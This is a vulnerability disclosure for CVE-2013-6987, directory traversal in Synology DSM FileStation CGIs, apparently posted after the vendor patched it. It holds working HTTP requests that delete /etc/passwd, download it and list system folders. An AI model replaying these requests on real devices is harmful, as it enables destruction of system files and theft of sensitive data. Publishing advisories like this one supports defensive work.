************************************************************** Title: Synology DSM multiple directory traversal Version affected: <= 4.3-3810 Vendor: Synology Discovered by: Andrea Fabrizi Email: andrea.fabrizi () gmail com Web: http://www.andreafabrizi.it Twitter: @andreaf83 Status: patched CVE: 2013-6987 ************************************************************** I'm again here with a Synology DSM vulnerability. Synology DiskStation Manager (DSM) it's a Linux based operating system, used for the DiskStation and RackStation products. I found a lot of directory traversal in the FileBrowser components. This kind of vulnerability allows any authenticated user, even if not administrative, to access, create, delete, modify system and configuration files. The only countermeasure implemented against this vulnerability is the check that the path starts with a valid shared folder, so is enough to put the "../" straight after, to bypass the security check. Vulnerables CGIs: - /webapi/FileStation/html5_upload.cgi - /webapi/FileStation/file_delete.cgi - /webapi/FileStation/file_download.cgi - /webapi/FileStation/file_sharing.cgi - /webapi/FileStation/file_share.cgi - /webapi/FileStation/file_MVCP.cgi - /webapi/FileStation/file_rename.cgi Not tested all the CGI, but I guess that many others are vulnerable, so don't take my list as comprehensive. Following some examples ("test" is a valid folder name): - Delete /etc/passwd =========================================== POST /webapi/FileStation/file_delete.cgi HTTP/1.1 Host: 192.168.56.101:5000 X-SYNO-TOKEN: XXXXXXXX Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 103 Cookie: stay_login=0; id=kjuYI0HvD92m6 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache path=/test/../../etc/passwd&accurate_progress=true&api=SYNO.FileStation.Delete&method=start&version=1 =========================================== - Arbitrary file download: =========================================== GET /fbdownload/?dlink=2f746573742f2e2e2f2e2e2f6574632f706173737764 HTTP/1.1 Host: 192.168.56.101:5000 Connection: keep-alive Authorization: Basic XXXXXXXX =========================================== 2f746573742f2e2e2f2e2e2f6574632f706173737764 -> /test/../../etc/passwd - Remote file list: ========================= POST /webapi/FileStation/file_share.cgi HTTP/1.1 Host: 192.168.56.101:5000 X-SYNO-TOKEN: XXXXXXXX Content-Length: 75 Cookie: stay_login=0; id=f9EThJSyRaqJM; BCSI-CS-36db57a1c38ce2f6=2 folder_path=/test/../../tmp&api=SYNO.FileStation.List&method=list&version=1 ========================== Timeline: - 05/12/2013: First contact with the vendor - 06/12/2013: Vulnerability details sent to the vendor - 20/12/2013: Patch released by the vendor